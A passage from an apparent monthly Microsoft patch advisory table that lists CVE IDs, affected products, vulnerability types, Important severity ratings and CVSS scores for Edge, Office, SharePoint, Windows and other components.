of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  